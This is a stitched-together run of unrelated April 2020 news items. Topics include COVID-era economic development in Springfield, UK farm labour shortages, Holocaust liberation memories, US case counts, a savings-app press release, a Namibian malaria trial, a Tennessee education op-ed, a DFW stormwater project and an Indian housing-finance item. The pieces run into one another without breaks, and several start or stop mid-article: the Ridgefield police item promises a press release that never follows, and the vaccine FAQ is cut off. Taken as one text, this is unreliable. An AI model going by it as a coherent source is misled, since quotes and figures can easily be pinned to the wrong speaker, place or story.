when it comes to affordability and if people are working from home or social distancing Sullivan said that the draw is an opportunity for development. My partner and I are sort of an example of that, said Transformative Development Fellow at MassDevelopment Laura Masulis. We lived in Boston up until five years ago when we moved out here and it was because he works remotely so he was able to do that when I got a job working in Springfield. Masulis also oversees Make-It Springfield on Worthington Street, a community incubator and workshop space for local makers, artists, entrepreneurs, programmers, students and enthusiasts to make, create and share their skills and tools. You can have a quality of life in Western Massachusetts that you are not afforded in the big cities. Quite honestly, the cost of living, the cost of doing business is less expensive out here, said Sullivan. Even if you were looking to diversify your office or back offices, that can be done much more inexpensively out here in the office spaces that we have available or people working from their homes. The opportunities for economic development during the crisis look good according to Sullivan as he mentions the communication he has had with new businesses and those that are already established. In the last three days, the EDC has seen requests for site selecting. The EDC has a list of more than 700 services and businesses that would benefit from being connected to industries moving into the area. Gov. Charlie Baker, Lt. Gov. Karyn Polito and Rep. Richard Neal visit the Cartamundi plant on Shaker Road in East Longmeadow. The plant, in partnership with Hasbro, is making clear plastic face shields as personal protective devices for health care workers, first responders and law enforcement. (Douglas Hook / MassLive) Everything from professional commercial brokers to individual landowners or somebody that owns a mill or the city and town Economic Development professionals and thats a free service, Sullivan said. Two of the prospective companies are in manufacturing and the third is a clean energy company. Sullivan said they are still in the very early stages. There have been calls during the pandemic for domestic factories that make medical equipment that has been so scarce to develop masks and other protective equipment in the U.S. The supply of protective equipment has been difficult across the U.S. In what he described as almost covert-like operation, Dr. Andrew Artenstein, the Baystate Health chief physician executive and chief academic officer recently described getting a supply of N95 masks to Western Massachusetts and navigating a couple of FBI agents who questioned them. I don't like to be held hostage by anybody and I don't understand why the greatest country in the world [is] relying on other countries to make this or make that. We need to get back to making things here in America, said Springfield Mayor Domenic J. Sarno on Thursday. Were cannibalizing each other to get supplies, to get something we need. With the need for equipment increasing and the supply unable to keep up with demand, President and CEO of Baystate Health Dr. Mark A.Keroack told MassLive on Friday that he has been working with local manufacturers which he thinks will be the ultimate solution to the shortage. There are examples of large companies converting their production lines from toys and board games to protective masks. The Cartamundi plant in East Longmeadow is manufacturing 50,000 plastic face shields per week, for donation to local hospitals during this COVID-19 pandemic. The project is a partnership between Rhode Island-based Hasbro and global card-and-game company Cartamundi. It's not just large factories that are adapting to help during the crisis. On a very small scale [MassDevelopment] is working with a group, Western Mass. 3D Printing Collective and were connecting them with Make-It Springfield specifically around their printing mask protective shield components and they need help assembling them, Transformative Development Fellow at MassDevelopment Laura Masulis said. Rather than going to the location on Worthington Street, the artists have set up classes online where they can teach and earn an income. We wanted to make sure we still could offer classes and at the same time we also wanted to be able to give our artists and makers and creatives a place where they could continue to build exposure for themselves and also potentially have some Revenue, Masulis said. Many businesses have had to change the normal way of making a living by diversifying into other areas as well. Teri Skinner, owner of NOSH restaurant has had to adapt during the pandemic by not only taking her business online and offering an app that can be used to make an order, but by also offering the people what they want. We sell toilet paper now, she said laughing and then added. I think at first it was kind of just funny because, you know, the shelves just completely depleted at the stores. And then after we were like, well maybe people would like to just be able to pick up a couple of rolls here. MassForward is MassLive's series examining the journey of Massachusetts' small businesses through and beyond the coronavirus pandemic. Related Content: Workers who have been furloughed due to the Covid-19 crisis have been encouraged to take up farm work as the government continues to warn of a labour shortfall. Giving the daily coronavirus briefing on Sunday (26 April), Defra Secretary George Eustice said only 'about a third' of the migrant labour that would normally be in the UK is here. He encouraged furloughed employees to consider picking fruit and vegetables during the outbreak due to the worker shortage. Recent figures show that more than 430,000 firms had applied for the government scheme to pay the wages of 3.2 million workers. "We are acutely aware that we are about to start the British season in fresh produce in soft fruits and salads," Mr Eustice told the briefing. "We are working with industry to identify an approach that will encourage those millions of furloughed workers in some cases to consider taking a second job, helping get the harvest in in June." He added: "It's not an issue at the moment since the harvest has barely begun, but we do anticipate that there will be a need to recruit staff for those sectors in the month of June." Farmers and growers who rely on seasonal workers to pick, pack and grade fruit and vegetables are extremely concerned about their ability to recruit workers this year. Earlier this month, Cambridgeshire-based G's Growers paid 40,000 to fly in 150 experienced Romanian farm workers to help British pickers get 'up to speed' with the job. The firm, one of the UK's largest vegetable producers, warned that the situation was getting desperate due to the impact Covid-19 has had on international travel. Recent estimates by the Country Land and Business Association (CLA) show that there could be a shortage of 80,000 farm workers due to the coronavirus. Three labour providers Concordia, HOPs and Fruitful have already launched the 'Feed the Nation' campaign to attract British workers over the busy harvest period, and the government recently unveiled its 'Pick for Britain' campaign. Despite the large interest British people have shown in farm work - around 50,000 people have applied - only 6,000 people have been offered an interview, according to the latest figures. At the Number 10 briefing, Mr Eustice added that there were isolated cases of trade being disrupted by the Covid-19 pandemic, including goods shipped from India. The environment secretary said retailers had increased the number of delivery slots from 2.1m at the start of the crisis to 2.6m, with the number set to increase to 2.9m in the next few weeks. Acknowledging the importance of seafarers in smooth supply chain of cargo, Union Minister Mansukh L Mandaviya on Tuesday said the government will take all possible steps for safe return of the stuck seafarers in the wake of COVID-19 pandemic. He said this in an interaction via video conference with ship liners, shipping companies, maritime associations, seafarers unions regarding the change of crew at Indian Ports, a statement by shipping ministry said. During the interaction, the shipping minister also reconnoitred the situation of Indian seafarers working as well as stranded in the International waters, the statement added. Mandaviya directed to provide the details of Indian seafarers stranded abroad for the future evacuation plan, the statement said adding he assured the seafarers associations of their quick evacuation whenever the situation becomes favourable. The minister also acknowledged the importance of seafarers for the smooth supply chain movement. Mandaviya also acknowledged the challenges faced by the seafarers and appreciated their work in this crucial and testing times. He also directed the officials of the shipping ministry for easing the process of 'sign-on and sign-off' for the seafarers at the Indian Ports, it said. Representatives from Indian National Ship Owners' Association , Maritime Association of Nationwide Shipping Agencies India , National Union of Seafarers of India, Indian Maritime Foundation , Maritime Union of India, Maritime Association of Ship Owners Ship managers and Agents, among others participated in the interaction. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Ayodhya, April 28 : Fishermen in Manjha Kalan village in Ayodhya were facing troubled times because they could not go to their bank and ATM due to the lockdown. However, on their request, a postal official reached the village and enabled them to withdraw cash from their accounts through the Aadhaar Enabled Payment System (AEPS) in the village itself. Union telecom minister Ravi Shankar Prasad tweeted about the incident from his Twitter handle. Rakesh Yadav, another resident of the village, said, "We were not aware of this facility under which the bank would come to our doorstep. Now life will be much easier for us and we thank the government for this." Survivors also said that social connections, especially talking with soldiers, helped to restore their sense of self in the days and months following liberation. Robert Antelme, a French survivor of Dachau, suggested in his memoir, The Human Race, that the need to communicate competed with the need for proper nourishment: We wanted at last to speak, to be heard. We were told that by itself our physical appearance was eloquent enough. However, he added that even when they could speak, it was impossible to bridge the gap we discovered between the words at our disposal and that experience what we had to tell would start to seem unimaginable. Survivors were afraid that they wouldnt be heard, and also that no one would believe them. Before telling the story of their dehumanization in the camp, some survivors needed liberators to first see them as they had been before the war: as people with passions and professions. Semprun was asked to show Buchenwald to a Jewish-American Army officer whose family had moved to the United States from Germany when he was young. They became friends when Semprun, a philosophy student, referenced Goethe, who had lived not far from Buchenwald. As a gift, the officer took Semprun for a tour of Goethes house nearby. Having established their shared appreciation of German literature, Semprun felt able to narrate some of the most painful memories of his suffering. Levi returned to his family in Turin, Italy, after spending almost nine months in displacement camps. Others remained in the camps for more than a year. Bergen-Belsen, which became one of the largest in Germany, finally closed in 1951, six years after the liberation. Survivors for whom the process of liberation lasted years often had more opportunities to build relationships. Major Heymont took it upon himself to help Landsberg refugees not only improve sanitation in the camp, but also encouraged the publication of a camp newspaper in Yiddish, arrange suitable places for families to live together and locate china dinner plates for a communal mess hall. Irving Lisman, an ambulance driver for the 122nd Medical Battalion, had fabric and sewing supplies imported to the Bad Gastein camp so its inhabitants could make neckties, which were a sign of respect. Captain Hagood wrote to his wife requesting lipstick because, he reported, up to 10 women would share one tube, collectively reclaiming their femininity. Decades after the war, survivors and liberators sought to reconnect. The 1981 International Liberator Conference held in Washington brought together survivors with 100 Allied soldiers from 14 nations who had taken part in the liberation. Following a rise in Holocaust denial in the United States and around the world, the conferences task was to collect eyewitness accounts. It also provided opportunities for liberators and survivors to share both the immediate and long-term psychological effects of their experiences. I couldnt believe the similarity of the psychological effect shared by these men, wrote Kenneth Colvin, a liberator of the Mauthausen and Ebensee camps. Each had suppressed his feelings for about 15 years after the war. Then, the pictures and dreams started to dominate our lives. We all relived the horror and helplessness we felt but would not recognize at the time. The number of confirmed coronavirus cases in the US has climbed to more than 1 million, a grim milestone just four months after the nations outbreak was detected. The virus has spread to every state and so far claimed the lives of nearly 57,000 people. Coronavirus cases in the US have eclipsed every other country and now represent nearly a third of all global infections. US deaths account for more than a quarter of the 213,000 global toll. New York has emerged as the world epicentre for the virus, with more than 17,500 deaths reported in New York City alone, according to Johns Hopkins University. Nearly 300,000 cases have been confirmed in the state. The dramatic surge in infection follows a nationwide scramble to repair a significant shortfall in testing capacity. Fewer than 100 cases were identified in the US at the beginning of March. But over the last several weeks, daily death tolls have reached more than 1,000. More than 112,000 patients in the US have recovered from Covid-19, the disease caused by the virus. The latest figures follow White House pressure for states to begin reopening their economies and allow residents to return to work after the virus shuttered business nationwide and left millions of people unemployed. Within the last five weeks, 26 million people have filed for unemployment benefits, as lawmakers and the White House have struggled to rapidly address unprecedented jobless claims without reliable federal and state safety nets. The devastation wrought by the virus and a delayed national response has upended American life. Roughly 5.6 million people in the US have been tested for the virus only 1.6 per cent of the population, falling short of the criteria under Donald Trumps guidelines for state and local governments to begin reopening. But several states will begin experimenting with reopening businesses and other services this week, while some areas including the entire San Francisco Bay Area and all of Louisiana have extended their stay-at-home measures to combat community transmission of the virus. The public health crisis has disproportionately targeted African American communities, largely stemming from histories of disinvestment and systemic health care disparities. In Louisiana, where roughly a third of the population is black, nearly 60 per cent of coronavirus deaths are among black residents. Less than 15 per cent of Michigan residents and roughly 40 per cent of the states Covid-19 deaths are African American. [April 28, 2020] Plinqit Surpasses $1 Million Saved Since Launch Plinqit, a brandable, savings app and the only savings tool that pays users for engaging with content, continues its growth, exceeding $1 million in total saved by users since launching last year. In a time of economic uncertainty, Plinqit is helping community financial institutions connect with consumers as they learn more about personal finances and saving. Earlier this year, Bankrate (News - Alert) reported that only four in 10 U.S. adults (41 percent) would cover the cost of a $1,000 of a major unexpected expense by using savings. While Millennials' saving habits have been improving with one quarter of them having $100,000 or more in savings, the pandemic has unscored the importance of savings and understanding finances for all Americans. Plinqit, created by Millennials for Millennials, is unlike any other svings app on the market. With Plinqit's patent-pending Build Skills, users not only interact with content that improves their financial literacy - they are paid to do so. Understanding that saving is the first step on the path to financial wellness, the platform has provided users with a free, simple and easy-to-use way to save and plan for future financial needs. On average, Plinqit account fees are the same or less than the cost of a traditional savings account, and by helping banks and credit unions attract and retain consumers in a unique way, Plinqit offers financial institutions a way to build stronger connections. Recently, Bank Michigan launched Plinqit to attract customers in a more cost-effective way while deepening their relationships with existing customers. "We have offered Plinqit at Bank Michigan for a few months and are excited by the success we have had with the app," said Richard C. Northrup, III, President and CEO of Bank Michigan. "With the app, our customers now have the opportunity to grow their savings and knowledge of personal finances to break the cycle of living paycheck-to-paycheck. With the significant growth we have already had, we cannot wait to see what the future holds for Bank Michigan with Plinqit." "We created Plinqit to not only help people save but also to improve their understanding of finances. With no shortage of savings apps on the market, our goal was to create an app that did more for customers, so they actually wanted to use it," said Kathleen Craig, founder and Chief Executive Officer of HT Mobile Apps, creator of Plinqit. "Our innovative Build Skills platform pays users for learning about personal finances which helps them reach their savings and education goals." "With continued uncertainty caused by this pandemic, we are proud that our app has encouraged users to increase their knowledge of personal finances and save. While many are safely staying home, they are able to continue to engage with financial institutions, like Bank Michigan, from their mobile devices. Although we know that no one could have prepared for this world event, we are dedicated to helping consumers on their path to financial wellness. We will continue to support our community financial institution partners as they support the communities they love," Craig continued. About Plinqit Plinqit is a brandable, mobile first platform that is elegant and highly powerful at the same time. Unlike any other savings app on the market, its patent-pending Build Skills pays users for engaging with content, creating higher user engagement for financial institutions. Created by Millennials for Millennials, Plinqit helps financial institutions connect with this important demographic in a meaningful, relevant way - bringing together digital customers, FI's and savings in one beautiful place. For more information, visit www.plinqit.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005553/en/ [ Back To TMCnet.com's Homepage ] The researchers published their findings in the prestigious journal The Lancet on World Malaria Day on 25 April even as countries the world over battle to contain transmission of the COVID-19. The malaria trial conducted in northern Namibia demonstrates how malaria incidence can be reduced by up to 75% in settings where malaria transmission is mostly low but persistent, and plagued by sporadic outbreaks of higher numbers of malaria cases. This scenario in Namibia is in many ways typical in neighboring South Africa's malaria endemic districts. In a Global South and Global North collaboration, scientists at the WRIM at the University of the Witwatersrand in South Africa; the University of Namibia with the Namibia Ministry of Health and Social Services; the London School of Hygiene and Tropical Medicine; the University of California, San Francisco; and the University of Texas, Southwestern conducted this first ever randomized controlled trial of its kind. The reduction in cases was achieved using existing tools, namely anti-malarial drugs and insecticides, but deploying these in a 'smart' way, i.e., in close proximity of newly reported cases. Our results are derived from a community randomized controlled clinical trial. This means that the effects of the interventions are compared between groups that are similar in all respects apart from the intervention they are receiving. The findings are therefore very unlikely to be due to chance, and the conclusions are more robust than they would have been from an observational study." Professor Immo Kleinschmidt, one of the Principal Investigators in the project, Honorary Professor in the Wits School of Pathology and Professor of Epidemiology in the Department of Infectious Disease at the London School of Hygiene and Tropical Medicine Co-authors Lizette Koekemoer, WRIM Research Professor and an honorary member in the Centre for Emerging Zoonotic and Parasitic Diseases at the National Institute for Communicable diseases, and Erica Erlank, WRIM Associate Researcher, provided training and support in entomology [the study of insects] during the trial. The trial: Drugs, spray or both? In this study, researchers conducted a trial to evaluate the effectiveness and safety of two interventions: (i) reactive focal mass drug administration (rfMDA) and (ii) reactive focal vector control (RAVC), and their combination. This trial is unique because it is the first randomized controlled trial of rfMDA and/or RAVC. Study communities were randomly assigned to receive either rfMDA, or RAVC, or the combination, or neither of these two interventions (the latter being the control group). The study took place in the Zambezi Region, northern Namibia, and targeted people that were at the highest risk of malaria infection based on their proximity within 500 meters of malaria index cases that emerged during the transmission season. In one arm of the trial, these neighbours of any new malaria case were offered a standard dose of the anti-malarial drug Coartem, without first testing whether these neighbours carried the parasite that causes malaria. This drug clear them of parasites even if the level of parasites they carried were below the density that can be detected by the standard rapid diagnostic test. The drug would also provide a short period of protection against new infections. In another arm of the trial, neighbours of index cases had the interior walls of their houses sprayed with a highly effective insecticide, Pirimiphos-methyl, irrespective of whether or not their houses had previously been treated in the annual spray carried out routinely in such areas. In the randomized trial, communities received either the drug, the house spray, the drug and the house spray, or neither of these interventions. Both the drug and the house-spraying interventions were shown to be safe and highly effective, either on their own or when administered together. Both the drugs and the house-spraying approaches significantly reduced malaria transmission in this low endemic setting. Why this trial matters Mass drug administration (MDA) is the administration of antimalarial drugs to target the parasite reservoir in humans, without necessarily testing if those people carry the parasite that causes malaria. The World Health Organization recommends MDA for the elimination of the Plasmodium falciparum malaria parasite. However, the effort and cost required to implement MDA on a large scale can be challenging. The Namibian study reduced the 'mass' in MDA by targeting just the small ring of people around recent index cases - the people at the highest risk of malaria - and thus implemented an existing intervention more efficiently and economically. Indoor residual spraying (IRS) and the use of long-lasting insecticidal nets have since 2000 significantly reduced malaria cases and deaths in target populations in sub-Saharan Africa. These interventions are normally administered in a 'blanket' style before the malaria season (October to May). The Namibian study targeted a highly effective but expensive insecticide, pirimiphos-methyl, at the small ring of houses around recent index cases. The cost of the insecticide makes it more difficult to use in blanket spraying, but suitable in focal spraying as smaller quantities will be used. The cost of the insecticide is thus offset by its focal use of targeting only high risk populations. "We found that reactive focal mass drug administration and reactive focal vector control, when implemented alone and in combination, significantly reduced malaria transmission among targeted populations in the Zambezi region of Namibia," says Koekemoer. "Furthermore, the two interventions, when used in combination, had an additive effect - reducing rates of new malaria cases by 75%". Towards zero transmission targets Although malaria still causes an estimated 230 million cases and over 400 000 deaths each year, dramatic success in fighting the disease over the last two decades has inspired many countries to commit to eliminating transmission altogether. To date, the World Health Organization has certified 38 countries and territories malaria-free. In southern Africa, eight countries - including South Africa and Namibia - have made the elimination of malaria a policy goal. In recent years, however, progress towards eliminating transmission has slowed in many regions including Africa, highlighting the need for new approaches. Where malaria cases have been reduced to low levels, transmission still occurs due a reservoir of chronic, low density infections in people without symptoms. This means that these infections are largely undetectable through standard surveillance approaches. Because the mosquitoes that carry the malaria parasite are still present, these infections may seed further infections in their immediate neighborhood, potentially leading to outbreaks of malaria cases. To prevent such outbreaks from leading to wider epidemics, effective focal responses that target high-risk populations, such as those assessed in the Namibian study, need to be mobilized. While additional studies will help determine the optimal scenarios in which these approaches could be implemented, the Namibian study suggests that reactive focal mass drug administration and reactive focal vector control can be applied in other countries that (i) have Plasmodium falciparum parasite-carrying mosquitos (ii) are close to eliminating transmission and (iii) have good case reporting systems. "These approaches can only be used if index cases are promptly and reliably reported and becauseSouth Africa has a responsive and reliable malaria case reporting system, the country is well placed to take advantage of these interventions," says Koekemoer. The Namibian study shows how tailoring and targeting existing interventions can help improve their effectiveness and contribute to the elimination of malaria transmission permanently. The U.S. Air Force Thunderbirds and the U.S. Navy Blue Angels will fly over parts of New York, New Jersey and Philadelphia today. Why? The 30-minute joint flyover by the two elite military precision flying teams is dubbed American Strong and is a salute to health care workers battling the coronavirus pandemic and a show of national unity. Where? The flyover will begin around noon flying over the George Washington Bridge then sweeping west over Newark then coming down, flying a circle over New York City, south over Brooklyn then a loop south before heading over Queens and up to Long Island then west up to White Plains, south to the Bronx then continuing south, ending at 12:40 p.m. At 1:45 p.m. the second round will begin in New Jersey at Joint Base Maguire/Dix/Lakehurst then flying over Levittown and Trenton then south making three loops over Philadelphia then south over Wilmington, Del. The Blue Angels and Thunderbirds have announced flight plans over New Jersey, New York and Philadelphia to salute first responders and hospital workers working on the front lines of the coronavirus outbreak. When? The first half of the flyover begins at noon and ends at 12:40p.m. The second half, which goes over Philadelphia, begins at 1:45 p.m. and ends at 2:15 p.m. Is this an air show? No. The Thunderbirds and Blue Angels are asking people NOT to travel or congregate to see them. You should watch from the safety of your own home property. MORE CORONAVIRUS NEWS ON PENNLIVE Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. We are truly in a transformation time. We either drive the agenda from the ground up or it will be hammered down from federal and state government. The real education getting done right now is at the local level. We need to analyze what is working and what is not in our schools and local districts. We need to evaluate that quickly, which is an appropriate task for the state government. The federal government needs to gather that information from the states and communicate that compilation with states and districts. Everyone has to be held accountable in the process. The more change taking place in society necessitates we must become more interconnected. In 2019, the Associated Press reported that an estimated 17 percent of U.S. students do not have access to computers at home and 18 percent do not have home access to broadband internet, according to census data. That number is likely higher in Tennessee. Our state must address this issue, especially in rural areas. This should be tied to annual state funding for schools as well. We are beginning to sound like a broken record, in our advocacy for improved funding for schools and districts. This must be a priority for the Tennessee General Assembly. It is time to update our school funding formula to reflect changing 21st century needs. We need a plan and a funding formula that reflects our modern educational mission, priorities, and strategies. This formula should also support teachers, funds facilities, and facilitates innovation and technology, while better connecting K-12 education with workforce needs. We must retain our educators and recruit new educators to our states. This must be done with a keen eye on evaluating the cost-effectiveness of taxpayer investment. In their paper Unleashing a 21st Century Narrative, Ken Hunter, Bill Miller, and Rick Smyre point out that we are trapped searching for creativity and new ideas aligned with the needs of an increasingly fast-paced, interconnected, interdependent and complex society and economy. Many leaders continue to emphasize the need for standard answers, best practices, and increasing efficiency (continuous improvement). In other words, we continue to wander in the world of either/or when a different worldview based on systems, connections, parallel processes, and multiple answers is being birthed. a world of and/both. As a result, according to Hunter, Miller, and Smyres research, there is a need to reconceptualize and redesign the ways in which our society is organized, the concepts and methods of leadership for a world that doesnt exist yet. We have known for years that we are currently preparing students for jobs that don't yet exist, using technologies that haven't been invented, in order to solve problems that we don't even know are problems yet. That 1993 quote by Richard Riley, former US Secretary of Education, is more applicable now than ever. We must do a better job identifying innovative practices wherever they are found and encouraging their growth and adoption throughout our state. We must explore advances in educational technology, revolutionary new teaching methods, and everything in between to change the trajectory of education in our state. The question for stakeholders and policymakers alike, do you want the freedom to institute the change at the local level, or do you want policy driven by federal and state authorities. The time for discussion is now. We look forward to continued collaboration with stakeholders and to adding input to policymakers. Embracing innovation was a hallmark of Bill Lees campaign for governor. Its time that public schools are given more freedom to innovate. Our values define what is important, and it is time we recognize that radical individualism of the Industrial Age has given way to the emergence of connected individuality. It is time we link new and innovative ideas, people, or processes. Leaders must always include stakeholders in policy discussions to better discover the quality of education at the grassroots and monitor the direction of change, to determine if it appropriate and effective. Our state must look to our local districts and educators, not just national programs that try to merely retrofit into what our students need here in Tennessee. Governor Bill Lee stated during his campaign that Tennessee taxpayers deserve a transparent and open government. We could not agree more. JC Bowman Executive Director of Professional Educators of Tennessee By West Kentucky Star Staff Apr. 27, 2020 | 09:16 PM | BENTON On Monday, Kentucky State Police Troopers say they noticed a motorcycle driving recklessly on US 641. Troopers say the driver attempted to exit at Draffenville, but collided with another vehicle. After the collision, the driver reportedly fled on foot before being arrested. Troopers say the driver was identified as 23-year-old Devin M. Drexler. He is being charged with speeding 26 mph or more over the speed limit, first degree fleeing or evading police, reckless driving, first degree criminal mischief, resisting arrest, first offense failure to maintain insurance, driving on a suspended or revoked license, and leaving the scene of an accident. He was lodged in the Marshall County Jail. A Benton man is facing numerous charges after a pursuit. The University of Texas at Arlington (UTA) is partnering with Dallas Fort Worth International Airport as it takes proactive steps to manage storm water and flooding at the airport. Nick Fang, assistant professor of civil engineering at UTA, oversees a five-year, $1.5 million project to: help improve storm water management strategies and runway operations, perform systematic evaluations of green storm water infrastructure on airport property, and develop an advanced flood warning system that mitigates potential issues before they happen. Andy Kruzic and Xinbao Yu, associate professors of civil engineering, are co-investigators on the project. "The airport has runways, taxiways and buildings that are built with massive concrete. When you have impervious surfaces like that, water can't seep through the ground, so there's a higher chance of flooding on the property," Fang said. "DFW Airport doesn't have issues with severe flooding at the moment, but adding more impervious areas and reducing permeable areas could potentially cause increased flooding as the airport continues to grow. UTA is "a valued resource for this important initiative," said Eduardo N. Tovar, P.E., manager of systems performance at DFW Airport. "The Airport's commitment to sustainable efforts touches many issues, including the importance of storm water quality and drainage in this region," Tovar said. "Working with a partner that shares our commitment to strong, progressive and knowledgeable management of storm water--to ensure infrastructure addresses the need for efficient and safe drainage and supports the need to protect storm water quality--is important." As part of the project, Fang and his team will: Investigate the First Flush StormwaterSystem. When runoff is collected from impervious areas such as ramps, runways and taxiways, it has to go to a pre-treatment plant. Fang and his team will collect samples from throughout the system for monitoring. Evaluate the benefits, in terms of infiltration rates and retaining capacities, of the airport's green storm water infrastructure. Evaluate channel erosion. Given the natural soil conditions of the airport property, its channels are inevitably subject to natural erosion. The team will use several measures, such as deploying unmanned aerial vehicles to survey and collect geometric data, to model and analyze erosion processes and make recommendations for mitigating channel erosion issues. Provide recommendations for optimal storm water mitigation alternatives. Develop a web-based flood warning system for emergency personnel. Develop a toolkit that will incorporate weather-related parameters into a web-based dashboard to assist in decisions involving when to apply anti-icing media on runways and taxiways during winter weather conditions. "We are happy to have the opportunity to team with DFW International Airport on this important project," said James Grover, UTA's interim vice president for research. "UTA is uniquely suited to this research, with several experts in urban water systems and flooding. Dr. Fang's experience with storm water runoff in Houston during Hurricane Harvey will inform many of his processes and recommendations." ### - Written by Jeremy Agor, College of Engineering Mumbai, April 28 : Coming forward to help a noble cause, employees of the Reserve Bank of India (RBI) have donated a total of Rs 7.30 crore to the PM-CARES Fund, an official said here on Tuesday. The Covid-19 pandemic and consequent dislocation in normal economic activities have severely affected the weaker sections of society and their means of livelihood. In order to help people affected by any emergency or distress situation like Covid-19, the government set up the PM-CARES Fund (Prime Minister's Citizen Assistance and Relief in Emergency Situations Fund) for contributions from various sources. Responding to the call, the RBI employees decided to contribute money equal to one-day salary or more, totalling Rs 7.30 crore, said the official. remaining of Thank you for reading! On your next view you will be asked to log in to your subscriber account or create an account and subscribepurchase a subscription to continue reading. H John Voorhees III / Hearst Connecticut Media Following a rash of car thefts early Sunday morning, the Ridgefield Police Department is urging residents to take precautionary measures. Below is a press release that the police department issued earlier today: We know we all need to work together to help each other in response to COVID-19, so it was our pleasure to transport the donated fruits and produce from CPE to Baldor Foods on our LNG-powered ship, MV Taino, from Puerto Rico to the U.S. mainland. Crowley Logistics joined Caribbean Produce Exchange, Inc. (CPE), the leading Puerto Rico distributor of fresh produce and consumer products, and Puerto Rico farmers to ship a container filled with fresh fruits, plantains and other Son de Aqui local products to the Puerto Rican and Hispanic communities of New York City impacted by the COVID-19 pandemic. The container included 16,000 pounds of fruit and produce, such as pineapples from Manati, Santa Isabel papayas and Guanica green plantains. The shipment for distribution through Baldor Specialty Foods facility in the South Bronx. The food will be distributed to seniors and low-income families and at community centers that serve vulnerable populations in the city through a partnership with City Harvest, a non-profit food rescue mission. In addition, employees who work as first-line responders for Baldor and other first-responders will be receiving fresh produce as part of this donation. The container, provided and shipped from San Juan, Puerto Rico, by Crowley Logistics, which is the islands longest serving U.S. shipping and logistics solutions company and part of Crowley Maritime Corp., also included a variety of Wana Bana tropical fruit purees ideal for children, senior citizens and people with diabetic conditions. These products are 100 percent natural, pasteurized and sugar free, allowing for non-refrigerated storage. The container arrived on Crowleys container ship MV Taino in Jacksonville, Fla., and was trucked this weekend into New York City for distribution to people in need. Crowley has always striven to help people in the communities in which we live, work and serve, and this partnership continues the longstanding commitment by the company and our employees, said Sal Menoyo, Crowley Logistics vice president for Puerto Rico and the Caribbean. We know we all need to work together to help each other in response to COVID-19, so it was our pleasure to transport the donated fruits and produce from CPE to Baldor Foods on our LNG-powered ship, MV Taino, from Puerto Rico to the U.S. mainland. We want to thank our allies in this initiative for helping us bring the flavors, colors and freshness of our farms to the Bronx area at a time when these communities are experiencing an unprecedented crisis. Given the challenges we are facing with the coronavirus, keeping our citizens properly nourished can help strengthen their immune systems and this is a top priority. Thanks to this phenomenal synergy along with Baldor Foods and Crowley Maritime, we have been able to bring hope, strength and embrace our Puerto Rican brothers in New York with genuine solidarity, said Angel Santiago, president and CEO of CPE. Baldor Specialty Foods, headquartered in the South Bronx, is one of the largest importers and distributors of fresh produce and specialty foods in the Northeast. Baldor Cares, the companys social responsibility platform, works with a wide array of non-profit entities such as City Harvest in New York, to provide food for hundreds of thousands of citizens in need throughout the Tri-State area annually. We are grateful at Baldor Specialty Foods for the kind gesture of Caribbean Produce to send to us a shipment of delicious fruit from Puerto Rico, said Baldors Thomas McQuillan, vice president for Strategy, Culture and Sustainability. We will share this produce with our colleagues at Baldor and with people living in the South Bronx. So many of our neighbors hail from the beautiful island of Puerto Rico. It is heartwarming to know that people can be so generous during a time of crisis and uncertainty. As a result of the COVID-19 crisis, CPE has been helping farmers sell their products including fruits, vegetables, dairy products and protein throughout non-traditional channels and other platforms, as a consequence of the quarantine lockdown and curfew ordered by the local government. The lockdown closed schools and cafeterias as well as restaurants and hundreds of food service locations that have been forced to close temporarily also. All of this has impacted the harvests and sales of fresh produce on the Island. According to Santiago, this support program to farmers has yielded in opening doors and providing effective solutions for fresh produce placement in new trade channels. About Crowley Jacksonville-based Crowley Holdings Inc., a holding company of the 128-year-old Crowley Maritime Corporation, is a privately held family- and employee-owned company that provides marine solutions, energy and logistics services in domestic and international markets. Crowley operates under four business units: Crowley Logistics, a logistics supply chain division that includes ocean liner services; Crowley Shipping, which encompasses ownership, operations and management of conventional and dual fuel (LNG) vessels, including tankers, container ships, multipurpose, tugboats and barges; engineering; project management; and naval architecture through its subsidiary Jensen Maritime; Crowley Fuels, a fuel transportation, distribution and sales division that also provides liquefied natural gas (LNG) and related services; and Crowley Solutions, which focuses on global government services and program management, government ship management, expeditionary logistics and government-oriented freight transportation services. Additional information about Crowley, its subsidiaries and business units may be found at http://www.crowley.com. About Caribbean Produce Exchange Caribbean Produce Exchange (CPE) is the largest produce distributor in Puerto Rico with 60 years of experience in managing food safety for a wide array of produce, eggs and highly perishable products. CPE is the only Puerto Rican company recognized as a Blue Book Trading Member since 1984, a consecutive 36-year tenure, and the only company outside of US and Canada to hold such a longstanding record. It is the first company in the Caribbean region to ever receive USDAs Agricultural Best Practices Certification.Its world-class portfolio includes leading brands of fruits, vegetables, cereals, organic, dairy and frozen items as well as other high-quality consumer products. CPEs services also include fresh produce supply chain management, pre-cut fresh food processing. Packaging and distribution of local produce, logistics, marketing and planning services. For more information on Caribbean Produce Exchange, please visit: http://www.caribbeanproduce.com. About Baldor Specialty Foods Baldor Specialty Foods is one of the largest importers and distributors of fresh produce and specialty foods in Northeast and Mid-Atlantic regions. Beginning as Balduccis fruit stand in Greenwich Village in 1946, Baldor maintains its original promise curate and deliver the best and freshest foods in the world. Baldor seeks to provide great specialty foods and logistics that give their customers an edge. To learn more, go to http://www.baldorfood.com. What will happen to subvention schemes in COVID times? Will developers currently strapped for liquidity be able to service their commitment? Real estate experts caution that several builders may find it tough and may even default on their interest payment commitments with sales and cashflows drying up due to the lockdown. Despite the subvention scheme being treated as a term loan and being eligible for the three-month moratorium, many builders won't be able to pay and may even default on their interest payment commitments. Some may even be forced to scuttle out of the subvention commitment period, an expert noted. With no cashflows, some builders may even resort to the force majeure provision and annul any commitments on agreements signed with buyers in the past, especially those facing major liquidity issues, according to industry experts. Under subvention schemes, homebuyers pay the initial amount, and the bank pays the loan amount to the developer according to the construction stage, while the interest portion on the loan disbursed is paid by the developer until possession. What this means is that the real estate developers pay pre-EMIs (equated monthly instalments) on behalf of homebuyers for a certain period specified in the contract or the date of possession. Subvention schemes were beneficial to the extent that they provided relief to homebuyers who found it difficult to afford both rent and interest. In 2013, the Reserve Bank of India had advised banks to exercise caution while financing purchases under the interest subvention schemes in view of the higher risks associated with such lump sum disbursal of sanctioned housing loans and customer suitability issues. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity 